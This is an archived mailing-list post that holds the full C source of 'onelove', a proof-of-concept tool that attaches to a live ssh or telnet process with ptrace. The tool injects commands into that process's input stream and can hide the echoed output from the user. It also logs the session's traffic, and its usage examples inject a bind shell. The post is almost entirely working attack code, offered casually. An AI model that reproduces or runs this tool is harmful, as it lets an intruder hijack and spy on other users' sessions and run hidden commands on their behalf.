injecting commands on a ptraced telnet/ssh session

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



proof of concept code demostrating how we can inject commands on a ptraced 
telnet/ssh session, have fun.

[ xenion@acidlife.com ][ http://www.acidlife.com/mayhem/tba/ ]
/*
 *
 * $Id: onelove.c,v 0.4 2002/10/03 2:10:27 xenion Exp $
 *
 * ---------------------------------------------------------------------------
 * No part of this project may be used to break the law, or to cause damage of
 * any kind. And I'm not responsible for anything you do with it.
 * ---------------------------------------------------------------------------
 * "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
 * <xenion@acidlife.com> wrote this file.  As long as you retain this notice
 * you can do whatever you want with this stuff. If we meet some day, and you
 * think this stuff is worth it, you can buy me a beer in return.
 * xenion ~ Dallachiesa Michele
 * ---------------------------------------------------------------------------
 *
 * This is proof of concept code demostrating how we can inject commands 
 * on a ptraced telnet/ssh session.
 *
 * ---------------------------------------------------------------------------
 *
 *
 * EXAMPLES
 *
 * ./onelove -p2418 -0 -c _boxinfo -l l0g -+ -e
 * 
 *      attach pid 2418, 
 *      enable ssh fd(s), 
 *      use _boxinfo for commands, 
 *      log to file,
 *      log to stdout (without -l ignored), 
 *      enable echo hiding.
 * 
 * ./onelove -p3953 -1 -c _bindshell -e
 * 
 *      attach pid 3953,
 *      enable telnet fd(s),
 *      use _bindshell for commands,
 *      enable echo hiding.
 *
 *
 * LENGTH OF read(2) BUFFERS, MIGHT HELP SOMETIMES:
 *
 * ssh   : 16384 
 * telnet: 8192 
 * BitchX: 2048 
 *
 *
 * GREETZ
 *
 * Dark-Angel, my friends.. you know who you are.
 *
 */


#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <signal.h>
#include <asm/unistd.h>
#include <dirent.h>
#include <errno.h>
#include <limits.h>
#include <time.h>
#include <sys/stat.h>


#define WORD_SIZE 4
#define BUFLEN 4096
#define CMDLEN 4096
#define VERSION "0.4"

/*
 * PTRACE states 
 */
#define PTRACE_NOT_ATTACHED 0	/* not yet attached */
#define PTRACE_STOP1        1	/* first stop */
#define PTRACE_STOP2        2	/* second stop */
#define PTRACE_DONE         3	/* we've finished our work */

/*
 * INJECT states 
 */
#define INJECT_NOTH       0	/* nothing to do, just do nothing */
#define INJECT_TODO       1	/* we've to inject our commands */
#define INJECT_HIDE       2	/* now we've to hide the output */

/*
 * ssh/telnet fd(s) 
 */
#define READ_FD_SSH     4
#define WRITE_FD_SSH    5
#define READ_FD_TELNET  0
#define WRITE_FD_TELNET 1

#define LOG(arg...) {          \
   fprintf(o.log, "## ");      \
   fprintf(o.log, ## arg);     \
   fflush(o.log);              \
   if(o.stdout) {              \
     fprintf(stdout, "## ");   \
     fprintf(stdout, ## arg);  \
     fflush(stdout);           \
     }                         \
   }

#define LOG_WRITE(arg...) {    \
   fwrite(## arg, o.log);      \
   fflush(o.log);              \
   if(o.stdout) {              \
     fwrite(## arg, stdout);   \
     fflush(stdout);           \
     }                         \
   }


// 'x' viene approssimato per eccesso ad un multiplo di 'y'
#define COUNT_OK(x, y) (##x % ##y != 0 ? ##x+(##y - (##x % ##y)) : ##x)

// 'x' viene approssimato per difetto ad un multiplo di 'y'
#define LEN_OK(x, y) (##x-(##x % ##y))

#define IS_SYSCALL_AND_FD(x) \
   (data.orig_eax == __NR_##x && data.ebx == o.fd_##x)

#define SIG_NAME(x) x == SIGURG  ? "SIGURG"  : \
                    x == SIGPIPE ? "SIGPIPE" : \
                    x == SIGQUIT ? "SIGQUIT" : \
                    x == SIGINT  ? "SIGINT"  : \
                    x == SIGTERM ? "SIGTERM" : \
                    x == SIGHUP  ? "SIGHUP"  : \
                    x == SIGSEGV ? "SIGSEGV" : \
                    x == SIGBUS  ? "SIGBUS"  : "UNKNOWN"

#define FD_SSH_OR_TELNET o.fd_read == READ_FD_SSH ?       \
                         (o.fd_write == WRITE_FD_SSH ?    \
                         "(ssh)" : "") :                  \
                         o.fd_read == READ_FD_TELNET ?    \
                         (o.fd_write == WRITE_FD_TELNET ? \
                         "(telnet)" : "") : ""


void            fatal(char *, ...);
void            init_opt(int, char **);
void            help();
void            sigdie(int);
int             memread(pid_t, unsigned char *, unsigned char *, long,
			long);
int             memwrite(pid_t, unsigned char *, unsigned char *, long,
			 long);
int             dataonstdin();
unsigned char  *memem(unsigned char *, unsigned char *, size_t, size_t);


typedef struct {
    pid_t           pid;
    int             status,
                    mode,
                    inject,
                    echo,
                    cmdlen,
                    fd_read,
                    fd_write,
                    stdout;
    unsigned char   cmd[CMDLEN];
    FILE           *log;
} OPT;


OPT             o;


int
main(int argc, char **argv)
{
    struct user_regs_struct data;
    unsigned char   buf[BUFLEN];
    int             z;
    long            edx_write_backup;

    o.mode = PTRACE_NOT_ATTACHED;

    init_opt(argc, argv);

    LOG("pid         : %d\n", getpid());
    LOG("ptraced pid : %d\n", o.pid);
    LOG("echo        : %s\n", o.echo ? "YES" : "NO");
    LOG("fds         : r:%d,w:%d %s\n", o.fd_read, o.fd_write,
	FD_SSH_OR_TELNET);
    LOG("\n");

    signal(SIGTERM, sigdie);
    signal(SIGINT, sigdie);
    signal(SIGQUIT, sigdie);
    signal(SIGHUP, sigdie);
    signal(SIGSEGV, sigdie);
    signal(SIGURG, SIG_IGN);

    if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0)
	fatal("ptrace(PTRACE_ATTACH, ...) failed");

    LOG("Attached! Now I'll display the session I/O. When you're\n");
    LOG("sure the user can run commands, press ENTER and wait.\n");
    LOG("\n");

    o.mode = PTRACE_STOP1;
    o.inject = INJECT_NOTH;

    wait(NULL);

    while (o.mode != PTRACE_DONE) {

	if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0)
	    fatal("ptrace(PTRACE_SYSCALL ...) failed");

	wait(&o.status);

	if (WSTOPSIG(o.status) != SIGTRAP) {
	    LOG("Sending signal %d\n", WSTOPSIG(o.status));
	    ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status));
	}

	if (ptrace(PTRACE_GETREGS, o.pid, 0, &data) < 0)
	    fatal("ptrace(PTRACE_GETREGS ...) failed");

	switch (o.mode) {

	case PTRACE_STOP1:

	    if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
		z = memread(o.pid, buf, (unsigned char *) data.ecx,
			    data.edx, sizeof buf);

		edx_write_backup = data.edx;
		data.edx = 0;

		if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
		    fatal("ptrace(PTRACE_SETREGS ...) failed");

		if (z < 0) {
		    LOG("\n*** WARNING(0): memread() failed (%ld bytes to read) ***\n", edx_write_backup);
		} else
		    LOG_WRITE(buf, 1, data.edx);
	    }

	    o.mode = PTRACE_STOP2;
	    break;

	case PTRACE_STOP2:

	    if (dataonstdin()) {
		read(0, buf, sizeof buf);

		if (*buf == 'q')
		    fatal("Aborted");

		if (o.inject == INJECT_NOTH) {
		    o.inject = INJECT_TODO;
		    LOG("\n");
		    LOG("I'll wait for a read(2) buffer ending with \\r or \\n,\n");
		    LOG("where I'll inject the commands..\n");
		    LOG("\n");
		}

		if (o.inject == INJECT_HIDE) {
		    LOG("Done, exiting..\n");
		    o.inject = INJECT_NOTH;
		    o.mode = PTRACE_DONE;
		    LOG("\n");
		    LOG("Done.\n");
		    break;
		}
	    }

	    if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
		/*
		 * restoring the count of bytes to send 
		 */
		data.eax = edx_write_backup;
		if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
		    fatal("ptrace(PTRACE_SETREGS ...) failed");
	    }

	    if (IS_SYSCALL_AND_FD(write) || IS_SYSCALL_AND_FD(read)) {
		z = memread(o.pid, buf, (unsigned char *) data.ecx,
			    data.eax, sizeof buf);

		if (z < 0) {
		    LOG("\n*** WARNING(1): memread() failed (%ld bytes to read) ***\n", data.eax);
		    o.mode = PTRACE_STOP1;
		    break;
		}

		LOG_WRITE(buf, 1, data.eax);

		if (o.inject == INJECT_TODO && IS_SYSCALL_AND_FD(read)) {

		    if (buf[data.eax - 1] == '\r'
			|| buf[data.eax - 1] == '\n') {

			LOG("Injecting commands\n");

			z = memwrite(o.pid,
				     (unsigned char *) (data.ecx +
							data.eax), o.cmd,
				     o.cmdlen, sizeof o.cmd);
			if (z < 0)
			    fatal("memwrite( ...) failed");

			data.eax += o.cmdlen;

			if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
			    fatal("ptrace(PTRACE_SETREGS ...) failed");

			if (!o.echo) {
			    LOG("Done.\n");
			    o.mode = PTRACE_DONE;
			    break;
			} else {
			    o.inject = INJECT_HIDE;
			    LOG("Done.\n");
			    LOG("I'll hide all write(2)s untill you press ENTER\n");
			    LOG("\n");

			}
		    }
		}
	    }

	    o.mode = PTRACE_STOP1;
	    break;

	default:
	    fatal("Oops");
	    break;
	}
    }

    LOG("Detaching process\n");
    if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) {
	LOG("ptrace(PTRACE_DETACH ...) failed\n");
    } else
	LOG("Ok, you're safe this time ;)\n\n");
    return 0;
}


void
init_opt(int argc, char **argv)
{
    int             c;
    FILE           *f;

    o.echo = 0;
    o.pid = 0;
    o.fd_read = o.fd_write = -1;
    o.cmdlen = -1;
    o.log = stdout;
    o.stdout = 0;

    while ((c = getopt(argc, argv, "p:r:w:01c:l:+eh")) != EOF)
	switch (c) {

	case 'p':
	    o.pid = atoi(optarg);
	    break;

	case 'r':
	    o.fd_read = atoi(optarg);
	    break;

	case 'w':
	    o.fd_write = atoi(optarg);
	    break;

	case '0':
	    o.fd_read = READ_FD_SSH;
	    o.fd_write = WRITE_FD_SSH;
	    break;

	case '1':
	    o.fd_read = READ_FD_TELNET;
	    o.fd_write = WRITE_FD_TELNET;
	    break;

	case 'l':
	    o.log = fopen(optarg, "a+");
	    if (o.log == NULL)
		fatal("unable to open log file");
	    break;

	case '+':
	    o.stdout = 1;
	    break;

	case 'c':
	    f = fopen(optarg, "r");
	    if (f == NULL)
		fatal("unable to open cmd file");
	    o.cmdlen = fread(o.cmd, 1, sizeof o.cmd, f);
	    if (o.cmdlen == sizeof o.cmd || o.cmdlen == 0)
		fatal("cmdfile broken");
	    fclose(f);
	    break;

	case 'e':
	    o.echo = 1;
	    break;

	case 'h':
	    help();
	    break;

	default:
	    fatal("try -h");
	}

    if (o.pid == 0)
	fatal("pid needed");

    if (o.fd_read == -1 || o.fd_write == -1)
	fatal("r/w fd(s) needed");

    switch (o.cmdlen) {
    case -1:
	fatal("cmd file needed");
    case 0:
	fatal("cmd file broken");
    }

    if (o.log == stdout)
	o.stdout = 0;

}


void
fatal(char *pattern, ...)
{
    va_list         ap;

    va_start(ap, pattern);
    fprintf(o.log, "** ");
    vfprintf(o.log, pattern, ap);
    fprintf(o.log, "; exit forced.\n");
    va_end(ap);

    if (o.pid == 0) {
	fclose(o.log);
	exit(1);
    }

    sigdie(SIGTERM);
}



void
help()
{
    printf
	("onelove v%s by xenion - Injects commands on a ptraced telnet/ssh session\n\n",
	 VERSION);
    printf("USAGE: onelove [options]\n\n");
    printf("-p pid                              (ssh|telnet) pid\n");
    printf
	("-0                                  default fd(s) for ssh (r:%d,w:%d)\n",
	 READ_FD_SSH, WRITE_FD_SSH);
    printf
	("-1                                  default fd(s) for telnet (r:%d,w:%d)\n",
	 READ_FD_TELNET, WRITE_FD_TELNET);
    printf("-r fd                               read(2) fd\n");
    printf("-w fd                               write(2) fd\n");
    printf("-c file                             cmdfile\n");
    printf("-l file                             logfile\n");
    printf
	("-+                                  log to stdout (without -l ignored)\n");
    printf("-e                                  enable echo hiding\n\n");

    exit(0);
}


void
sigdie(int signo)
{
    int             pid;

    LOG("caught %s signal (%d), cleaning up\n", SIG_NAME(signo), signo);

    if (o.mode != PTRACE_NOT_ATTACHED) {

	switch (pid = fork()) {

	case -1:
	    fatal("fork()");
	    break;

	case 0:		/* child process starts */
	    LOG("Sending a SIGCONT signal to the ptraced process\n");
	    if (kill(o.pid, SIGCONT) < 0) {
		o.pid = 0;
		fatal("kill()");
	    }
	    break;

	default:		/* parent process starts */
	    wait(&o.status);
	    if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0)
		LOG("ptrace(PTRACE_DETACH ...) failed\n");
	    LOG("exited: %s\n", strerror(errno));
	    break;

	}

    }

    fclose(o.log);
    exit(0);
}


int
memread(pid_t pid, unsigned char *dest, unsigned char *src, long count,
	long len)
{
    long            off;
    long            res;

    if (count < 0 || len < 0)
	return (-1);

    count = COUNT_OK(count, WORD_SIZE);
    len = LEN_OK(len, WORD_SIZE);

    if (len < count)
	return -1;

    for (off = 0; off < count; off += WORD_SIZE) {
	res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0);
	if (errno > 0)
	    return -1;
	else
	    memcpy(dest + off, &res, WORD_SIZE);
    }

    return count;
}


int
memwrite(pid_t pid, unsigned char *dest, unsigned char *src, long count,
	 long len)
{
    long            off;
    long            res;

    if (count < 0 || len < 0)
	return (-1);

    count = COUNT_OK(count, WORD_SIZE);
    len = LEN_OK(len, WORD_SIZE);

    if (len < count)
	return -1;

    for (off = 0; off < count; off += WORD_SIZE) {
	memcpy(&res, src + off, WORD_SIZE);
	if (ptrace(PTRACE_POKETEXT, pid, dest + off, res) < 0)
	    return -1;
    }

    return count;
}


int
dataonstdin()
{
    fd_set          rfds;
    struct timeval  tv;
    int             retval;

    FD_ZERO(&rfds);
    FD_SET(0, &rfds);
    tv.tv_sec = tv.tv_usec = 0;

    retval = select(1, &rfds, NULL, NULL, &tv);

    if (retval)
	return 1;
    else
	return 0;
}

unsigned char  *
memem(unsigned char *buf0, unsigned char *buf1, size_t len0, size_t len1)
{
    size_t          i,
                    j;
    int             found;

    if (len1 > len0)
	return NULL;

    for (i = 0; i < len0; ++i) {
	if (buf0[i] == buf1[0]) {
	    found = 1;
	    for (j = 1; j + i < len0 && j < len1; ++j)
		if (buf0[i + j] != buf1[j])
		    found = 0;
	    if (found)
		return &buf0[i];
	}
    }

    return (NULL);
}

/*
 * EOF
 */

Attachment: 0xBE1CF7AA.asc
Description: application/pgp-keys


[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux